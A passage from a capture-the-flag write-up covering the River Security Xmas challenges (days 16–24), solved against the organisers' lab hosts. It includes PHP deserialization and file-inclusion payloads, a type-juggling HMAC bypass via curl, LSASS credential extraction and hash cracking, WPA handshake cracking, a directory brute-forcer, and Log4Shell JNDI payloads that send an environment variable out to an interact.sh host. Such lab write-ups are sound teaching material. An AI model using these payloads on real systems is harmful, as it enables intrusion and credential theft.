16 redirect("/portal.php");
17 $error_msg = "Logged in";

```

Aha! Let's inspect the source code of `portal.php`:

```

1 <?php
2 include_once __DIR__ . "/includes/authorization_handler.php";
3 $username = (new AuthorizationHandler())::getUsername();
4
5 $flag = "RSXC{Don't let others decide where your keys are located}"
6
7 ?>

```

2.16 Day 16 - A scary command

Sometimes while monitoring networks and machines, or doing incident response, we find some obfuscated commands. We didn't have time to deobfuscate this, and it is not recommended to just run it. Could you help us with it?

We were provided with some obfuscated shell script. There are two **eval** statements. We could just replace them with **echo** statements and launch the code. A command of the form **echo <omitted> | rev | base64 -d** is revealed. We perform the decoding and write it down to a file of our choice. It is another obfuscated shell. We replace the **eval** statements with **echo** statements and proceed with the execution. Another command of the form **echo <omitted> | rev | base64 -d**. This time, when written down to a file of our choice, the unwrapped command is of the form **echo <omitted> | base64 -d | sh**. Pay attention to the last pipe command! We delete it and execute the remainder. The new command is of the form **echo <omitted> | xxd -r -p | sh**. Again, we carefully remove the **sh** pipe command and execute the rest. Finally, a curl command is revealed with a damaged link, but having two arguments with identical base64-encoded values. When decoded the following message is revealed: `RSXC{Don't blindly trust obfuscated code it might do something bad}`.

2.17 Day 17 - My XMas card

We felt like it's time to start sending out some XMas cards, maybe you find something you like? <http://rsxc.no:20017/>

We were provided with a web landing page with the following content:

```

1 Finding your card in /files
2
3 | \__ \O/ \_-- {} \} {/
4 \__ \_(~)/_____/=_____/=_____/=*
5 \=====//\ \ >V> || \>
6 -----'-----'-----' \ \ \ \ \ \ \ \ \ \
7 # #
8 ## ## ## ##### ##### # #
9 # # # # # # # # # # #
10 # # # # # # # # # #
11 # # ##### ##### ##### #
12 # # # # # # # #
13 # # # # # # # #
14
15 # #
16 # # # # ## #####
17 # # ## ## # # #
18 # # ## # # # #####
19 # # # # ##### #
20 # # # # # # # #
21 # # # # # # #####

```

Going to <http://rsxc.no:20017/files/> reveals three files. One of them is the **flag.txt** but we do not have read access to it. However, there is another one - the source code of **index.php**! Let's take a look into the following section:

```

1 if(isset($_GET['card']) && !empty($_GET['card'])){
2     $card = unserialize(base64_decode($_GET['card']));
3 } else {
4     $card = new Card;
5     $card->file = 'files/card.txt';
6 }

```

So, **index.php** accept a GET argument **card**. Furthermore, the argument should be base64 encoded and PHP serialized in order to be processed. So, let's try to craft a **card** argument pointing to **flag.txt**:

```

1 <?php
2 class Card{
3     public $file = "card.txt";
4     function __construct() {
5     }
6
7     function displayCard(){
8         $this->file = __DIR__ . "/files/" . $this->file;
9         if(substr(realpath($this->file),0,strlen(__DIR__)) == __DIR__){
10            echo("Finding your card in /files");
11            echo(file_get_contents($this->file, true));
12        } else {
13            echo "<omitted>";
14        }
15    }
16 }
17 }
18
19 $inject = new Card;
20 $inject->file = 'flag.txt';
21 $layer1 = serialize($inject);
22 $layer2 = base64_encode($layer1);
23 print($layer2);
24 ?>

```

The resulted string is:

```

1 Tzo0OiJDYXJkIjoxOntzOjQ6ImZpbGUiO3M6ODoiZmxhZy50eHQiO30=

```

And the final GET request:

```

1 http://rsxc.no:20017/index.php?card=
   Tzo0OiJDYXJkIjoxOntzOjQ6ImZpbGUiO3M6ODoiZmxhZy50eHQiO30=

```

Which resulted in:

```

1 Finding your card in /files
2 RSXC{ Care_needs_to_be_taken_with_user_supplied_input.It_should_never_be_trusted
   }

```

2.18 Day 18 - Remember the flag? Docker remembers

We found a docker image, but it seems that the flag has been removed from it, could you help us get it back?

We were supplied with a docker image. There is a **docker-box.tar.gz** file, as well as a file with name **Dockerfile** with the following content:

```
1 FROM alpine:3.14
2 COPY ./flag.txt /flag.txt
3 RUN rm /flag.txt
```

So, the file **flag.txt** was deleted from the image and we need to recover it. First, let's setup the docker instance. We extract the **docker-box.tar** file from **docker-box.tar.gz**. Let's launch the docker instance:

```
1 sudo docker load < docker-box.tar
2 sudo docker images
3 sudo docker run docker-box
4 sudo docker run -it docker-box sh
```

Now, the docker instance is UP and we have a shell access. One interesting thing regarding dockers (extracted from the documentation):

Docker creates container images using layers. Each command that is found in a Dockerfile creates a new layer. Each layer contains the filesystem changes to the image for the state before the execution of the command and the state after the execution of the command.

Let's inspect the current docker image with the command **sudo docker image inspect docker-box**. We are interested in **diff** folders inside the **overlay2** root folder. By searching for a filename **flag.txt** we instantly hit an interesting result in a folder starting with **c5d4a15**. The content of **flag.txt** is:

```
1 RSXC{ Now_you_know_that_docker_images_are_like_onions.They_have_many_layers }
```

2.19 Day 19 - The inclusive xmas cards

We felt that the our last xmas cards weren't that inclusive. So we made even more options, so everyone has one that fits them! <http://rsxc.no:20019>

We are back to the card business. We landed on a web page with links to three different cards. The three links are:

- <http://rsxc.no:20019/card.php?card=c2FudGEudHh0>
- <http://rsxc.no:20019/card.php?card=c25vd211bi50eHQ=>
- <http://rsxc.no:20019/card.php?card=dHJIZS50eHQ=>

Obviously, the **card** parameter is base64 encoded. The strings are decoded to respectively **santa.txt**, **snowmen.txt** and **tree.txt**. Let's try then with **ZmxhZy50eHQ=**, which is the base64 encoded

equivalent to **flag.txt**

```
1 http://rsxc.no:20019/card.php?card=ZmxhZy50eHQ=
2
3 Finding your card in /files
4 RSXC{It_is_not_smart_to_let_people_include_whatever_they_want}
```

2.20 Day 20 - Easy mistakes

When programming, it is easy to make simple mistakes, and some of them can have dire consequences. <http://rsxc.no:20020/>

When arriving to the given web page the following PHP code is displayed:

```
1 This is the code found in /api.php
2 <code>
3 &lt;?php
4
5 $data = json_decode(file_get_contents('php://input'), true);
6
7 if(!isset($data['hmac']) || !isset($data['host'])) {
8     header("HTTP/1.0 400 Bad Request");
9     exit;
10 }
11 $secret = getenv("SECRET");
12 $flag = getenv("FLAG");
13
14 $hmac = hash_hmac($data["host"], $secret, "sha256");
15
16 if ($hmac != $data['hmac']){
17     header("HTTP/1.0 403 Forbidden");
18     exit;
19 }
20
21 echo $flag;
22
23 </code>
```

It appears that we could grab the contents of the environment variable **flag** through the entry point **api.php**. The first thing the API does is to check the existence of parameters **hmac** and **host**. Indeed, if we make an empty curl POST request we got an **HTTP/1.0 400 Bad Request** error:

```
1 curl -v -X POST http://rsxc.no:20020/api.php -H 'Content-Type: application/json'
```

However, let's try to include some arbitrary values for **hmac** and **host**:

```
1 curl -v -X POST http://rsxc.no:20020/api.php -H 'Content-Type: application/json'
   -d '{"hmac":"test","host":"test"}'
```


Now the HTTP error changed to **HTTP/1.0 403 Forbidden**. It appears that we failed the check in statement on line 16. The **HMAC** value on the variable **host** using some secret key and the **sha256** algorithm is compared to the variable **hmac**. We can't forge valid HMAC signatures since we do not have the key. However, in PHP, the boolean constant **true** is equal (**==**) to a non-empty string. Hence, we could escape the check on line 16 by using the following curl request:

```
1 curl -v -X POST http://rsxc.no:20020/api.php -H 'Content-Type: application/json' -d '{"hmac": false, "host": "test"}'
```

Indeed, we have accessed the **FLAG** variable via a response **HTTP/1.1 200 OK**:

```
1 RSXC{ You_have_to_have_the_right_order_for_arguments! }
```

2.21 Day 21 - Nice memories

Note: The flag is the clear text password for river-security-xmas user. On a IR mission we found that the threat actor dumped lsass file. Can you rock our world and find the flag for us?

We were provided with an archive with a file **lsass.DMP**. It's time to research:

LSASS. DMP is a dump file of the LSASS process. Attackers can dump LSASS to a dump file using tools such as ProcDump. The attacker can then extract passwords and password hashes from the process dump offline using Mimikatz.

Aha! However, instead of using Mimikatz, let's use a Python equivalent of Mimikatz called **Pypykatz**. We extract the lsa secrets using the following command **pypykatz lsa minidump lsass.DMP**. The following credentials appeared:

```
1 Username: river-security-xmas
2 Domain: DESKTOP-VIMQH3P
3 LM: NA
4 NT: 7801ee9c5762bb027ee224d54cb8f62e
5 SHA1: bebad302f8e64b59279c3a6747db0e076800d9ca
6 DPAPI: NA
```

Now, we could use any public service that holds pre-generated (rainbow) tables of popular hashing algorithms. For example **https://crackstation.net**. The NTLM hash was translated to **alliwant-forchristmasisyou**.

2.22 Day 22 - Wireless communication

We tried to find a new way of sending the flag, and this time it is even encrypted! Since we are nice we will even give you a hint. The password starts with S. Can you Rock our world?

We were provided with a **cap** file and several hints. Inspecting the file with Wireshark reveals that an **EAPOL 4-Way Handshake** was initialized. Opening the file with **aircrack-ng** reveals the following information:

```

1 Opening 22-challenge.cap
2 Read 63 packets.
3 # BSSID          ESSID          Encryption
4 1 1A:2F:49:69:AA:0A Private        WPA (1 handshake)

```

So, we could try to brute force the password by using a dictionary list. One significant hint is the question **Can you Rock our world?**. This is a reference to the popular wordlist **rockyou**:

Rockyou is a password dictionary that is used to help perform various kinds of password brute-force attacks. It is a collection of the most widely used and potential access codes. Rockyou.txt download is a free wordlist found in Kali Linux used by various penetration testers.

Let's grab it, parse it (recall that we have another hint that the password is starting with **S**) and launch the brute force (there are a total of **98554** passwords starting with **S**):

```

1 grep "^S" rockyou.txt > rockyouS.txt
2 aircrack-ng 22-challenge.cap -w rockyouS.txt
3 KEY FOUND! [ Santaclaws99 ]
4
5
6     Master Key       : A9 DA F2 28 B7 F1 CF 36 41 65 BC 77 76 A3 A0 49
7                       87 06 99 7F 0E 0E BA 56 B9 AF 56 59 7A E0 5E 1F
8
9     Transient Key    : FD 6A 3D D9 ED 65 2C 20 92 71 AF 47 ED 8F A2 5E
10                      94 1C 3C CE F6 83 05 83 65 22 9C D0 51 FE D6 16
11                      4A 7F EA 98 1B 4E 85 12 0B 3C BE 15 E3 42 29 DC
12                      E8 E2 E7 69 C1 D1 73 95 9D A1 55 81 D2 26 E7 43
13
14     EAPOL HMAC       : B8 3E E4 32 09 A2 3A C8 D6 1A E7 D5 B0 40 A8 86

```

Now, we could decrypt the captured WIFI traffic. Using Wireshark, we go to **Edit->Preferences->Protocols** and select the **IEEE 802.11** protocol. There, we can **Edit** the Decryption keys. We create a key of type **wpa-pwd** with key value **Santaclaws99**. Now, we inspect the decrypted TCP stream to find the following message: **RSXC{WIFI_is_fun}**.

2.23 Day 23 - Locating the location

We seem to have lost a file, can you please help us find it? <http://rsxc.no:20023>

When landing on the web page the following message appears:

Please help! Hey! Can you please help me? I have lost my flag.txt file in a subfolder on this server, but I can't find it again. I know that dirb has a small.txt wordlist which contains the directory. Thank you in advance! P.s. directory listing is not enabled

The task is pretty straightforward. We first collect the **small.txt** wordlist from the **dirb** repository. However, instead of using dirb, let's write our own simple directory traversal Python2 script:

```
1 import urllib2
2
3 url = 'http://rsxc.no:20023/'
4 FN = "small.txt"
5 F = open(FN, 'r')
6 for line in F:
7     line = line.strip()
8     url_i = url+line+'/flag.txt'
9     try:
10        ret = urllib2.urlopen(url_i)
11        if ret.code == 200:
12            inner = ret.read()
13            if "File not found" not in inner:
14                print("GotChYa!")
15                print(url_i)
16                print(inner)
17        except:
18            continue
19 F.close()
```

After several seconds the following result appeared:

```
1 GotChYa!
2 http://rsxc.no:20023/logfile/flag.txt
3 <h1> Thank you for finding my flag!</h1>
4 <p>RSXC{Content_discovery_is_a_useful_to_know.Good_job_finding_the_flag}
```

2.24 Day 24 - The watcher

We have found a service that watches our every step, are you able to figure out how we can read the FLAG from the environment? NB. Container will be restarted every 30 minutes.
<http://rsxc.no:20024>

We land on a web page with the following message: **Be careful, I'm logging everything...** When we try to access some arbitrary folder inside the web page the following error occurs:

```
1 Whitelabel Error Page
2 This application has no explicit mapping for /error, so you are seeing this as
   a fallback.
3
4 <timestamp>
5 There was an unexpected error (type=Not Found, status=404).
```

Googling this error reveals that we are dealing with a **Java Spring Boot** application. The hints in the title, the landing page and the Java used, suggested that we should definitely check the application for the **Log4j** vulnerability. In short:

On Thursday (December 9th), a 0-day exploit in the popular Java logging library log4j (version 2) was discovered that results in Remote Code Execution (RCE) by logging a certain string.

The contents of log messages often contain user-controlled data, attackers can insert JNDI references pointing to LDAP servers they control, ready to serve malicious Java classes that perform any action they choose. When Log4j finds the following string in a log message: `${jndi:ldap://A/E}` it instructs the JNDI to ask the LDAP server at “A” for the “E” object.

Aha! Furthermore, it appears that common practice is to launch the attack by using the **USER AGENT** field. Let’s setup a temporary `https://app.interactsh.com/#/` shell.

Interactsh is an Open-Source solution for Out of band Data Extraction, A tool designed to detect bugs that cause external interactions, For example - Blind SQLi, Blind CMDi, SSRF, etc.

We got an address of the form `<string>.interact.sh`. Let’s make a curl request to check the vulnerability of the application:

```
1 curl -v http://rsxc.no:20024/ --user-agent "\${jndi:ldap://<omitted>.interact.sh/}"
```

Oh! A DNS request is clearly visible through the **interactsh** panel:

```
1 ;; opcode: QUERY, status: NOERROR, id: 7403
2 ;; flags: QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1
3
4 ;; QUESTION SECTION:
5 ;<omitted>.interact.sh. IN A
6
7 ;; ADDITIONAL SECTION:
8
9 ;; OPT PSEUDOSECTION:
10 ; EDNS: version 0; flags: do; udp: 1232
```

Since the application is vulnerable, we could land on the server with a reverse shell. An example of how to achieve this, step by step, in a great detail, is described here:

<https://gist.github.com/joswr1ght/fb361f1f1e58307048aae5c0f38701e4>

However, we don’t need to be so invasive just to read one environment variable, right? We could call the **jndi:dns** requests to subdomains of our choice, which we are going to read through the **interactsh** feedback windows. Recall that we need to recover the FLAG from the environment, i.e. `${env:FLAG}`. Let’s launch the following curl request:

```
1 curl -v http://rsxc.no:20024/ --user-agent "\${jndi:dns://\${env:FLAG}.<omitted>.interact.sh/}"
```

Ha! The following DNS query was traced by the **interactsh** panel:

```
1 ;; QUESTION SECTION:
2 ;base32_KJJVQQ33K5SV6ZDPL5WGS23FL5WG6Z3HNFEXGOX3SNFTWQ5B7PU.<omitted>.interact.sh. IN A
```

When we base32 decode the string, we got: `RSXC{We_do_like_logging_right?}`.



3. The End

Hey, we did it! Hats off to the wonderful Advent Calendar prepared by the River Security team!
Merry Christmas and see you next year! HO HO HO!



